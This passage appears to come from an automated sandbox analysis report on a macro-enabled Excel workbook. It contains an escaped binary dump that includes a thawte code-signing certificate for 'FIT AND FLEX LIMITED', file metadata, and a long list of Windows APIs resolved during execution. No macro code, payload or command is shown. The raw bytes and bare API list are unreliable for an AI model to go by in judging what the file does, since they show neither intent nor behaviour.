733\\xf0p\\x1d\\xd9Fu\\xa9bt\\xc8\\x87\\xed\\xd8\\x11Q\\xde\\x96\\xf5H\\x04/zV_\\xf0\\xdc\\xd72\\x9b\\xbc0\\x1e\\x1c=\\x9e\\x88y\\xeeY\\xdd\\x18d\\xfbchl\\x0fG\\x0b\\xa2\\xd2\\xd3\\xc4S\\xb5F\\x07\\xa7\\xec\\xd7\\x8efz\\xf6\\xd5\\xf9\\x83\\xff\\x91\\x8d\\x8d\\xd8A\\xbc\\xb6\\xcb\\xfa\\xa1\\x84u\\xbe\\xf4@\\xa5 h\\x99K!\\x89\\x80\\xa5J\\xfb\\xcc\\xb6\\xe7\\x0e\\x93\\xb97tv\\xf7\\xf2\\x83gN\\xf3\\xda\\x8f\\xc1iY\\x1a\\x7f\r\\xb4\\xbb?\\x1b5\\xcb\\xe4\\xa0\\xd5\\x91cH\\x03\\xb6\\xcc\\xd7\\x99P\\x14(#8\\x0fc\\xf4f\\x92]+\\xea\\xd1\\xeca\\xe5\\xe9\\x9d<m+O\\xe4\\xef\\x9e\\xc87\\xda\\xd8L.\\xb3Z\\x84\\x16\\x9d\\xafgB\\xa0\\x8cF\\x11\\xc5\\xff,8\\xdb\\xefv\\xbb\\x0e\\xc5\\x04\\x9a\\xd1%0i\\x7f\\x8f\\x89\\xe7\\xbe\\xdc3\\x02\\xc8W\\xb5\\xc7\\xf6C7\\xa4\\x00\\x00\\x00\\x00CERTK\\x00\\x00\\x00\\x01\\x00\\x00\\x00D\\x00\\x00\\x008\\x00E\\x00B\\x003\\x005\\x003\\x007\\x006\\x007\\x004\\x004\\x00F\\x003\\x009\\x002\\x003\\x009\\x006\\x003\\x000\\x007\\x004\\x006\\x000\\x00D\\x005\\x004\\x006\\x002\\x002\\x002\\x00D\\x00_\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xaf\\xa1\\xd2\\x96\\xec\\x07>\\xe6\\xbfK\\xf5r\\x07z\\xdf\\xbd\\x0f\\x00\\x00\\x00\\x01\\x00\\x00\\x00 \\x00\\x00\\x00F\\xd8\\xd2\\x8ff1\\x1ctq\\xb8U\\xb0q\\x1e\\xf9\\xe4\\xb4\\xa6B\\xc9x\\xfd\\x91\\x06\\xa6\\x0b\\xc3\\x04\\xaf\\xc5B\r\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xcc\\x00\\x00\\x00\\x1c\\x00\\x00\\x00l\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00I\\x00D\\x00 \\x00t\\x00h\\x00a\\x00w\\x00t\\x00e\\x00,\\x00 \\x00I\\x00n\\x00c\\x00.\\x00 \\x00>\\x04B\\x04 \\x00F\\x00I\\x00T\\x00 \\x00A\\x00N\\x00D\\x00 \\x00F\\x00L\\x00E\\x00X\\x00 \\x00L\\x00I\\x00M\\x00I\\x00T\\x00E\\x00D\\x00\\x00\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00 \\x00E\\x00n\\x00h\\x00a\\x00n\\x00c\\x00e\\x00d\\x00 \\x00C\\x00r\\x00y\\x00p\\x00t\\x00o\\x00g\\x00r\\x00a\\x00p\\x00h\\x00i\\x00c\\x00 \\x00P\\x00r\\x00o\\x00v\\x00i\\x00d\\x00e\\x00r\\x00 \\x00v\\x001\\x00.\\x000\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00P\\x00\\x00\\x00I\\x00D\\x00 \\x00t\\x00h\\x00a\\x00w\\x00t\\x00e\\x00,\\x00 \\x00I\\x00n\\x00c\\x00.\\x00 \\x00>\\x04B\\x04 \\x00F\\x00I\\x00T\\x00 \\x00A\\x00N\\x00D\\x00 \\x00F\\x00L\\x00E\\x00X\\x00 \\x00L\\x00I\\x00M\\x00I\\x00T\\x00E\\x00D\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xda\\xb0\\xc4\\xe8\\xe9(\\xfbc\\xed\\x9b\\x89\\xdc\\xd3Yr\\x06\\x03\\xfeF\\x14\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00g\\xd9\\xa4\\xfb\\x8d\\x8ai\\xe2p9\\x9f0\\xae\\xaa\\xb8y\\x18\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xce\\xd1\\xc3\\x1b\\xb1\\xb5\\xc6\\x05\\x7f\\x0b\\x94]i\\x07\\xaf_ \\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xb3\\x04\\x00\\x000\\x82\\x04\\xaf0\\x82\\x03\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x1e\\x17\r190613000000Z\\x17\r200612235959Z0m1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x0e0\\x0c\\x06\\x03U\\x04\\x08\\x0c\\x05Essex1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x0c\\x07HOCKLEY1\\x1d0\\x1b\\x06\\x03U\\x04\n\\x0c\\x14FIT AND FLEX LIMITED1\\x1d0\\x1b\\x06\\x03U\\x04\\x03\\x0c\\x14FIT AND FLEX LIMITED0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xf94\\x13I\\xca\\xd5a\\x89\\x04}E\\x98\\xf5\\xa8\\x9dc-\\xa6\\xf4\\x1eW\\xb9\t\\x86K8+\\xedL\\xd2\\x94\\xe9b\\x9e\\xed\\x02\"\\x8a3.\\xd4\\x0bz\\xadE>\\xf3\\xf1\\xec\\x91\t2x0\\xb2-I\\x96CE\\xa4\\xc7.N\\xc9\\xe7\\xbf\\x97\\x1f\\xff-\\xe5\\x82X\\x90\\xafOq\\xf8I0\\xd1P\\xa2\\x94\\xc9\\xef?\\xab\\xd4\\xd5\\x85\\xb4?y\\x94\\x05\\xb9\\xd9\\x96\\x00\\xd3\n\\x91\\xbb\\x02\\xaa\\xe0\\xe9\\xbbC\\x0c\\x1c\\xa9\\x0b:\\xc6\\xe7\\x00\\x084}K\\xfa\\x0fn\\xbd\\xfd\\x08\\\\xea\\x18r\\xcc\\x8b\\\\xff\\xd8\\xbd\\xb5\\xfd7`\\x1e\\xc4\\xe9\\x93\\xdbB\\x02\\xd1f\\xfb\\x8e\\xb8\\xca\\xbd\t\\x9aK\\xc8\\\\x80\\xc3o,9\\xb2\\x16\\x93\\x9eS\\xa5\\xe8\\x90\\x8bI^\\x82x\\x93\\xbbE}\\xde\\xd2\\xe2\\xf1{\\xeb2\\x1av\\x87X\\x86\\x02\\xef\\xb0Ft\\xc4\\x9dD\\x12\\xa9\\xe2<f\\xbcU\\xde\\xe3vl\\x9ab7\\xc2\\xedL|)\r\\xa4!\\xa0U\\xdb\\xb7@\\xe8\\x18\\xe53K>\\xfbl\\xcc\\xad)F\\xfbo~\\xc4\\xdfu\\x8c\\x1d\\xa0\\x96\\xd2\\xfd1\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01j0\\x82\\x01f0\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.0+\\x06\\x03U\\x1d\\x1f\\x04$0\"0 \\xa0\\x1e\\xa0\\x1c\\x86\\x1ahttp://tl.symcb.com/tl.crl0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x07\\x800\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030n\\x06\\x03U\\x1d \\x04g0e0c\\x06\\x06g\\x81\\x0c\\x01\\x04\\x010Y0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1ahttps://www.thawte.com/cps0/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x020#\\x0c!https://www.thawte.com/repository0W\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04K0I0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://tl.symcd.com0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86\\x1ahttp://tl.symcb.com/tl.crt0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00/&\\x04\\xa5\\xb1\\xd5\\x03\\x9e+\\x16\\xdcN+\\xd6H\\xe7\\xcf\\x86\\xef\\xeb\\xbd4\\x1c\\xc6&\\xd9\\xe0\\x90\\xf3\\xd0\\x90\\x80\\xcd\\xc1\\x9b\\xe0\\xc2V\\xc0o\\xd1\\x01WY@\\xb6\\xee\\x0c\\xbf\\xa1\\xd4\"\\x1cY.D\\x84\\x93\\xe3\\x97\\xd9,N+\\xd40\\x99\\x11\\\\xe9UO'\\xbf{\\xeeR7\\xcc\tL\\x11O\\xa3\\x7f\\x80\\x18t\\x97\\xa03\\xa3`\\xe4w\\x9eQ!\\xfen\\xca\\xf2\\xc7\\x0bo@X\\xd4\\xf0\\x82\\x16w>\\x1a\\xb4\\xa6?3\\xfa\\xe7\\xa6\"6\\xbf\\xc1\\xba\\xbb>\\xf9\\xfa\\xc8\\xff\\xfc\\x92\\x1b\\xe5\\x98\\x95\\x1fTw\\xfd\nY\"\\xee\\xdd\\xbb\\xbfA,\\xe35bH\\xb8/0\\xb9U\\xbd\\xc5Vq5\\xf1\\x98\\x17'\\xc3rr\\xab\\xff\\x94\\xe3\\x1b\\xb7\\xf6\\xdeN\\x813\t^ \\xff_V\\xd9Dq~\\x95\\xc1\\x0eh\\xbc\\xde8\\x1d\\x96\\xc8\\xf3U\\xd8\\x95quq\\x14V'u\\xde\\xf4\\xe9+\\x85!\\xaaI\\xfe\\x10\\x1ev\\x88\\xa6\\x8b\\xa0[\\xd6\\x86\\x08\\xba{\\xbc_\\xc2\\x92&\\x9dj4\\x81/\\x9c\\xf7q\\x0fcHE\\xb43X\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00",
  810. "content_type": "None",
  811. "heading_pairs": "None",
  812. "slides": "None",
  813. "links_dirty": "False",
  814. "language": "None",
  815. "notes": "None",
  816. "bytes": "None",
  817. "manager": "None",
  818. "content_status": "None",
  819. "doc_version": "None",
  820. "titles_of_parts": "None",
  821. "lines": "None"
  822. },
  823. "HasMacros": "Yes",
  824. "DocumentType": "Excel Workbook"
  825. }
  826. }
  827. }
  828.  
  829. [*] Resolved APIs: [
  830. "mso.dll.#8511",
  831. "mso.dll.#3723",
  832. "mso.dll.#2279",
  833. "mso.dll.#2560",
  834. "mso.dll.#7826",
  835. "mso.dll.#5863",
  836. "shell32.dll.#152",
  837. "shell32.dll.#18",
  838. "secur32.dll.FreeContextBuffer",
  839. "ncrypt.dll.SslOpenProvider",
  840. "ncrypt.dll.GetSChannelInterface",
  841. "bcryptprimitives.dll.GetHashInterface",
  842. "ncrypt.dll.SslIncrementProviderReferenceCount",
  843. "ncrypt.dll.SslImportKey",
  844. "bcryptprimitives.dll.GetCipherInterface",
  845. "ncrypt.dll.SslLookupCipherSuiteInfo",
  846. "user32.dll.LoadStringW",
  847. "ncrypt.dll.BCryptOpenAlgorithmProvider",
  848. "ncrypt.dll.BCryptGetProperty",
  849. "ncrypt.dll.BCryptCreateHash",
  850. "ncrypt.dll.BCryptHashData",
  851. "ncrypt.dll.BCryptFinishHash",
  852. "ncrypt.dll.BCryptDestroyHash",
  853. "crypt32.dll.CertGetCertificateChain",
  854. "shell32.dll.#17",
  855. "mso.dll.#690",
  856. "mso.dll.#3062",
  857. "mso.dll.#8529",
  858. "mpr.dll.WNetGetConnectionA",
  859. "mpr.dll.WNetAddConnection3W",
  860. "userenv.dll.GetUserProfileDirectoryW",
  861. "mso.dll.#94",
  862. "sechost.dll.ConvertSidToStringSidW",
  863. "mso.dll.#3260",
  864. "mso.dll.#1776",
  865. "mso.dll.#1073",
  866. "mso.dll.#1441",
  867. "mso.dll.#4994",
  868. "mso.dll.#8218",
  869. "mso.dll.#6226",
  870. "mso.dll.#7032",
  871. "mso.dll.#2824",
  872. "mso.dll.#8369",
  873. "sechost.dll.ConvertStringSidToSidW",
  874. "mso.dll.#1521",
  875. "mso.dll.#2652",
  876. "mso.dll.#1836",
  877. "mso.dll.#935",
  878. "mso.dll.#6439",
  879. "mso.dll.#6859",
  880. "mso.dll.#5188",
  881. "user32.dll.GetSysColor",
  882. "userenv.dll.RegisterGPNotification",
  883. "mso.dll.#9736",
  884. "mso.dll.#7736",
  885. "mso.dll.#6394",
  886. "mso.dll.#9234",
  887. "mso.dll.#2557",
  888. "gpapi.dll.RegisterGPNotificationInternal",
  889. "sechost.dll.OpenSCManagerW",
  890. "mso.dll.#2975",
  891. "mso.dll.#3598",
  892. "mso.dll.#6588",
  893. "sechost.dll.OpenServiceW",
  894. "sechost.dll.CloseServiceHandle",
  895. "sechost.dll.QueryServiceConfigW",
  896. "msi.dll.#111",
  897. "mso.dll.#1176",
  898. "mso.dll.#5965",
  899. "mso.dll.#9041",
  900. "mso.dll.#2814",
  901. "mso.dll.#5377",
  902. "oleaut32.dll.#2",
  903. "oleaut32.dll.#6",
  904. "mso.dll.#1241",
  905. "cryptsp.dll.CryptAcquireContextA",
  906. "cryptsp.dll.CryptCreateHash",
  907. "cryptsp.dll.CryptHashData",
  908. "cryptsp.dll.CryptVerifySignatureA",
  909. "cryptsp.dll.CryptDestroyKey",
  910. "cryptsp.dll.CryptDestroyHash",
  911. "bcryptprimitives.dll.GetAsymmetricEncryptionInterface",
  912. "ncrypt.dll.BCryptImportKeyPair",
  913. "ncrypt.dll.BCryptVerifySignature",
  914. "ncrypt.dll.BCryptDestroyKey",
  915. "mso.dll.#2161",
  916. "mso.dll.FIsLSCUrl",
  917. "mso.dll.#7792",
  918. "crypt32.dll.CertVerifyCertificateChainPolicy",
  919. "crypt32.dll.CertFreeCertificateChain",
  920. "crypt32.dll.CertDuplicateCertificateContext",
  921. "ncrypt.dll.SslEncryptPacket",
  922. "mso.dll.#5889",
  923. "mso.dll.#2422",
  924. "mso.dll.#5002",
  925. "gkexcel.dll.FValidateExcelFile",
  926. "gkexcel.dll.GkInitHost",
  927. "mso.dll.#2739",
  928. "mso.dll.#5709",
  929. "mso.dll.#5177",
  930. "mso.dll.#9203",
  931. "mso.dll.#5061",
  932. "mso.dll.#9783",
  933. "mso.dll.#7640",
  934. "user32.dll.SetScrollRange",
  935. "user32.dll.SetWindowWord",
  936. "mso.dll.#343",
  937. "mso.dll.#9636",
  938. "mso.dll.#2022",
  939. "mso.dll.#4750",
  940. "mso.dll.#3747",
  941. "mso.dll.#2660",
  942. "shell32.dll.DragAcceptFiles",
  943. "mso.dll.#1719",
  944. "user32.dll.ClientToScreen",
  945. "mso.dll.#81",
  946. "ncrypt.dll.SslDecryptPacket",
  947. "winhttp.dll.WinHttpReceiveResponse",
  948. "winhttp.dll.WinHttpQueryHeaders",
  949. "winhttp.dll.WinHttpQueryDataAvailable",
  950. "winhttp.dll.WinHttpReadData",
  951. "webservices.dll.WsCreateError",
  952. "mso.dll.#7238",
  953. "ntdll.dll.EtwEventWrite",
  954. "ntdll.dll.EtwEventRegister",
  955. "ntdll.dll.EtwEventUnregister",
  956. "webservices.dll.WsCreateHeap",
  957. "webservices.dll.WsCreateReader",
  958. "webservices.dll.WsSetInput",
  959. "webservices.dll.WsFillReader",
  960. "webservices.dll.WsReadToStartElement",
  961. "webservices.dll.WsReadStartElement",
  962. "webservices.dll.WsReadType",
  963. "winhttp.dll.WinHttpCloseHandle",
  964. "crypt32.dll.CertFreeCertificateContext",
  965. "rpcrt4.dll.RpcBindingFree",
  966. "webservices.dll.WsFreeReader",
  967. "webservices.dll.WsFreeError",
  968. "webservices.dll.WsFreeHeap",
  969. "webservices.dll.WsCreateServiceProxyFromTemplate",
  970. "mso.dll.#1774",
  971. "mso.dll.#6452",
  972. "mso.dll.#5764",
  973. "winhttp.dll.WinHttpOpenRequest",
  974. "winhttp.dll.WinHttpAddRequestHeaders",
  975. "winhttp.dll.WinHttpSendRequest",
  976. "winhttp.dll.WinHttpConnect",
  977. "winhttp.dll.WinHttpCrackUrl",
  978. "winhttp.dll.WinHttpSetStatusCallback",
  979. "winhttp.dll.WinHttpOpen",
  980. "winhttp.dll.WinHttpSetOption",
  981. "winhttp.dll.WinHttpWriteData",
  982. "winhttp.dll.WinHttpSetCredentials",
  983. "winhttp.dll.WinHttpQueryAuthSchemes",
  984. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  985. "winhttp.dll.WinHttpGetProxyForUrl",
  986. "winhttp.dll.WinHttpQueryOption",
  987. "webservices.dll.WsOpenServiceProxy",
  988. "ole32.dll.CoGetCallState",
  989. "ole32.dll.CoGetActivationState",
  990. "advapi32.dll.RegisterWaitChainCOMCallback",
  991. "mso.dll.#8140",
  992. "mso.dll.#3913",
  993. "user32.dll.PeekMessageA",
  994. "mso.dll.#356",
  995. "mso.dll.#408",
  996. "mso.dll.#8622",
  997. "webservices.dll.WsCall",
  998. "mso.dll.#3449",
  999. "mso.dll.#3820",
  1000. "mso.dll.#2714",
  1001. "webservices.dll.WsAddCustomHeader",
  1002. "gdiplus.dll.GdipLoadImageFromStreamICM",
  1003. "shlwapi.dll.StrStrA",
  1004. "shlwapi.dll.UrlUnescapeA",
  1005. "windowscodecs.dll.DllGetClassObject",
  1006. "kernel32.dll.WerRegisterMemoryBlock",
  1007. "gdiplus.dll.GdipGetImageRawFormat",
  1008. "gdiplus.dll.GdipGetImageFlags",
  1009. "gdiplus.dll.GdipGetImageWidth",
  1010. "gdiplus.dll.GdipGetImageHeight",
  1011. "gdiplus.dll.GdipGetImagePixelFormat",
  1012. "gdiplus.dll.GdipGetImageHorizontalResolution",
  1013. "gdiplus.dll.GdipGetImageVerticalResolution",
  1014. "gdiplus.dll.GdipImageGetFrameCount",
  1015. "gdiplus.dll.GdipDisposeImage",
  1016. "mso.dll.#469",
  1017. "mso.dll.#7974",
  1018. "mso.dll.#2609",
  1019. "oleaut32.dll.#8",
  1020. "oleaut32.dll.#9",
  1021. "mso.dll.#4872",
  1022. "mso.dll.#1780",
  1023. "mso.dll.#3834",
  1024. "mso.dll.#8879",
  1025. "mso.dll.#6949",
  1026. "mso.dll.#5457",
  1027. "mso.dll.#9462",
  1028. "user32.dll.GetScrollRange",
  1029. "mso.dll.#3380",
  1030. "mso.dll.#4648",
  1031. "mso.dll.#6873",
  1032. "mso.dll.#2052",
  1033. "mso.dll.#7703",
  1034. "mso.dll.#4607",
  1035. "mso.dll.#2751",
  1036. "mso.dll.#6759",
  1037. "mso.dll.#1772",
  1038. "mso.dll.#6664",
  1039. "mso.dll.#9621",
  1040. "mso.dll.#7278",
  1041. "mso.dll.#1006",
  1042. "crypt32.dll.CryptSIPAddProvider",
  1043. "wintrust.dll.WintrustAddActionID",
  1044. "crypt32.dll.CryptMsgOpenToDecode",
  1045. "crypt32.dll.CryptMsgUpdate",
  1046. "crypt32.dll.CryptMsgGetParam",
  1047. "crypt32.dll.CryptDecodeObject",
  1048. "crypt32.dll.CryptMsgClose",
  1049. "msi.dll.#203",
  1050. "vbe7.dll.DllVbeGetHashOfCode",
  1051. "advapi32.dll.CryptAcquireContextA",
  1052. "advapi32.dll.CryptCreateHash",
  1053. "advapi32.dll.CryptDestroyHash",
  1054. "advapi32.dll.CryptHashData",
  1055. "advapi32.dll.CryptGetHashParam",
  1056. "advapi32.dll.CryptReleaseContext",
  1057. "advapi32.dll.CryptGenRandom",
  1058. "cryptsp.dll.CryptGetHashParam",
  1059. "cryptsp.dll.CryptReleaseContext",
  1060. "oleaut32.dll.#149",
  1061. "wintrust.dll.WinVerifyTrust",
  1062. "wintrust.dll.WintrustCertificateTrust",
  1063. "mso.dll.MsoWintrustFinalPolicy",
  1064. "wintrust.dll.SoftpubInitialize",
  1065. "wintrust.dll.SoftpubLoadMessage",
  1066. "wintrust.dll.SoftpubLoadSignature",
  1067. "wintrust.dll.SoftpubCheckCert",
  1068. "wintrust.dll.SoftpubCleanup",
  1069. "mso.dll.DllCanUnloadNow",
  1070. "mso.dll.MsoVBADigSigPutSignedDataMsg",
  1071. "mso.dll.MsoVBADigSigGetSignedDataMsg",
  1072. "mso.dll.MsoVBADigSigVerifyIndirectData",
  1073. "cryptsp.dll.CryptSetHashParam",
  1074. "cryptnet.dll.CertDllVerifyRevocation",
  1075. "profapi.dll.#104",
  1076. "sensapi.dll.IsNetworkAlive",
  1077. "rpcrt4.dll.RpcBindingFromStringBindingW",
  1078. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  1079. "rpcrt4.dll.NdrClientCall2",
  1080. "winhttp.dll.WinHttpSetTimeouts",
  1081. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  1082. "user32.dll.IsHungAppWindow",
  1083. "shlwapi.dll.StrStrIW",
  1084. "winhttp.dll.WinHttpTimeFromSystemTime",
  1085. "cryptnet.dll.I_CryptNetGetConnectivity",
  1086. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  1087. "setupapi.dll.SetupIterateCabinetW",
  1088. "kernel32.dll.RegOpenKeyExW",
  1089. "kernel32.dll.RegCloseKey",
  1090. "cabinet.dll.#20",
  1091. "cabinet.dll.#22",
  1092. "devrtl.dll.DevRtlGetThreadLogToken",
  1093. "sechost.dll.QueryServiceConfigA",
  1094. "sechost.dll.QueryServiceStatus",
  1095. "rpcrt4.dll.RpcStringBindingComposeA",
  1096. "rpcrt4.dll.RpcBindingFromStringBindingA",
  1097. "rpcrt4.dll.RpcEpResolveBinding",
  1098. "sechost.dll.LookupAccountSidLocalW",
  1099. "rpcrt4.dll.RpcStringFreeA",
  1100. "wintrust.dll.WTHelperGetProvSignerFromChain",
  1101. "wintrust.dll.WTHelperGetProvCertFromChain",
  1102. "wintrust.dll.WintrustLoadFunctionPointers",
  1103. "wintrust.dll.SoftpubAuthenticode",
  1104. "advapi32.dll.SaferiSearchMatchingHashRules",
  1105. "crypt32.dll.CertGetCertificateContextProperty",
  1106. "crypt32.dll.CertOpenStore",
  1107. "crypt32.dll.CertFindCertificateInStore",
  1108. "crypt32.dll.CertCloseStore",
  1109. "crypt32.dll.CryptHashCertificate",
  1110. "crypt32.dll.CertOpenSystemStoreA",
  1111. "crypt32.dll.CertGetSubjectCertificateFromStore",
  1112. "crypt32.dll.CertCreateCertificateChainEngine",
  1113. "crypt32.dll.CertGetNameStringW",
  1114. "mso.dll.#3425",
  1115. "mso.dll.#8499",
  1116. "mso.dll.#1281",
  1117. "gdi32.dll.GetRgnBox",
  1118. "user32.dll.SetScrollPos",
  1119. "oleaut32.dll.#10",
  1120. "mso.dll.#1767",
  1121. "user32.dll.SetFocus",
  1122. "user32.dll.IsRectEmpty",
  1123. "user32.dll.CreateCaret",
  1124. "user32.dll.SetCaretPos",
  1125. "user32.dll.GetSystemMetrics",
  1126. "user32.dll.MonitorFromWindow",
  1127. "user32.dll.MonitorFromRect",
  1128. "user32.dll.MonitorFromPoint",
  1129. "user32.dll.EnumDisplayMonitors",
  1130. "user32.dll.GetMonitorInfoA",
  1131. "user32.dll.EnumDisplayDevicesA",
  1132. "user32.dll.SetRect",
  1133. "user32.dll.GetFocus",
  1134. "mso.dll.#2068",
  1135. "gdi32.dll.CreateDIBSection",
  1136. "gdi32.dll.CreateCompatibleDC",
  1137. "gdi32.dll.GetViewportOrgEx",
  1138. "gdi32.dll.SetViewportOrgEx",
  1139. "gdi32.dll.SetGraphicsMode",
  1140. "mso.dll.#339",
  1141. "gdi32.dll.SetBkColor",
  1142. "gdi32.dll.ExtTextOutA",
  1143. "gdi32.dll.PatBlt",
  1144. "mso.dll.#4716",
  1145. "gdi32.dll.ExtTextOutW",
  1146. "user32.dll.BeginPaint",
  1147. "user32.dll.FillRect",
  1148. "mso.dll.#9414",
  1149. "mso.dll.#2538",
  1150. "windowscodecs.dll.WICCreateImagingFactory_Proxy",
  1151. "gdi32.dll.SetStretchBltMode",
  1152. "gdi32.dll.DeleteDC",
  1153. "mso.dll.#580",
  1154. "user32.dll.IsWindowRedirectedForPrint",
  1155. "gdi32.dll.CreateRectRgnIndirect",
  1156. "user32.dll.GetUpdateRgn",
  1157. "user32.dll.ValidateRect",
  1158. "user32.dll.GetUpdateRect",
  1159. "user32.dll.EndPaint",
  1160. "mso.dll.#2398",
  1161. "user32.dll.GetKeyboardLayout",
  1162. "mso.dll.#1213",
  1163. "mso.dll.#5735",
  1164. "mso.dll.#1335",
  1165. "mso.dll.#6117",
  1166. "mso.dll.#5213",
  1167. "user32.dll.GetWindowTextW",
  1168. "user32.dll.SetWindowTextW",
  1169. "mso.dll.#5152",
  1170. "mso.dll.#5407",
  1171. "user32.dll.BringWindowToTop",
  1172. "mso.dll.#5330",
  1173. "user32.dll.DestroyCaret",
  1174. "mso.dll.#3084",
  1175. "user32.dll.WindowFromDC",
  1176. "winmm.dll.timeGetTime",
  1177. "mso.dll.#1429",
  1178. "mso.dll.#6502",
  1179. "mso.dll.#2566",
  1180. "gdi32.dll.GetTextAlign",
  1181. "gdi32.dll.GetCurrentObject",
  1182. "gdi32.dll.GetFontData",
  1183. "mso.dll.#3043",
  1184. "mso.dll.#2340",
  1185. "mso.dll.#6843",
  1186. "mso.dll.#1566",
  1187. "mso.dll.#894",
  1188. "mso.dll.#2786",
  1189. "mso.dll.#9585",
  1190. "mso.dll.#4651",
  1191. "user32.dll.GetDC",
  1192. "user32.dll.ReleaseDC",
  1193. "mso.dll.#1607",
  1194. "mso.dll.#5202",
  1195. "mso.dll.#7320",
  1196. "mso.dll.#5822",
  1197. "mso.dll.#1056",
  1198. "mso.dll.#8136",
  1199. "mso.dll.#7418",
  1200. "mso.dll.#999",
  1201. "mso.dll.#7113",
  1202. "dwmapi.dll.DwmIsCompositionEnabled",
  1203. "d3d10_1.dll.D3D10CreateDevice1",
  1204. "gdi32.dll.D3DKMTOpenAdapterFromGdiDisplayName",
  1205. "gdi32.dll.D3DKMTCloseAdapter",
  1206. "gdi32.dll.D3DKMTQueryAdapterInfo",
  1207. "gdi32.dll.D3DKMTOpenAdapterFromDeviceName",
  1208. "setupapi.dll.SetupDiGetClassDevsW",
  1209. "setupapi.dll.SetupDiEnumDeviceInterfaces",
  1210. "setupapi.dll.SetupDiGetDeviceInterfaceDetailW",
  1211. "setupapi.dll.SetupDiDestroyDeviceInfoList",
  1212. "setupapi.dll.SetupDiGetDevicePropertyW",
  1213. "d3d10warp.dll.D3DKMTOpenAdapterFromGdiDisplayName",
  1214. "d3d10warp.dll.D3DKMTOpenAdapterFromDeviceName",
  1215. "d3d10warp.dll.D3DKMTGetDisplayModeList",
  1216. "d3d10warp.dll.D3DKMTSetVidPnSourceOwner",
  1217. "d3d10warp.dll.D3DKMTSetDisplayMode",
  1218. "d3d10warp.dll.D3DKMTCloseAdapter",
  1219. "d3d10warp.dll.D3DKMTSetGammaRamp",
  1220. "d3d10warp.dll.D3DKMTGetDeviceState",
  1221. "d3d10warp.dll.D3DKMTQueryAdapterInfo",
  1222. "d3d10warp.dll.D3DKMTWaitForVerticalBlankEvent",
  1223. "gdi32.dll.D3DKMTCreateDCFromMemory",
  1224. "gdi32.dll.D3DKMTDestroyDCFromMemory",
  1225. "gdi32.dll.D3DKMTCheckVidPnExclusiveOwnership",
  1226. "gdi32.dll.D3DKMTCheckMonitorPowerState",
  1227. "gdi32.dll.D3DKMTCheckSharedResourceAccess",
  1228. "d3d10_1core.dll.D3D10CoreCreateDevice1",
  1229. "d3d10_1core.dll.D3D10CoreGetSupportedVersions",
  1230. "d3d10_1core.dll.D3D10CoreGetVersion",
  1231. "d3d10warp.dll.D3DKMTCreateAllocation",
  1232. "d3d10warp.dll.D3DKMTQueryResourceInfo",
  1233. "d3d10warp.dll.D3DKMTOpenResource",
  1234. "d3d10warp.dll.D3DKMTDestroyAllocation",
  1235. "d3d10warp.dll.D3DKMTSetAllocationPriority",
  1236. "d3d10warp.dll.D3DKMTQueryAllocationResidency",
  1237. "d3d10warp.dll.D3DKMTCreateDevice",
  1238. "d3d10warp.dll.D3DKMTDestroyDevice",
  1239. "d3d10warp.dll.D3DKMTGetRuntimeData",
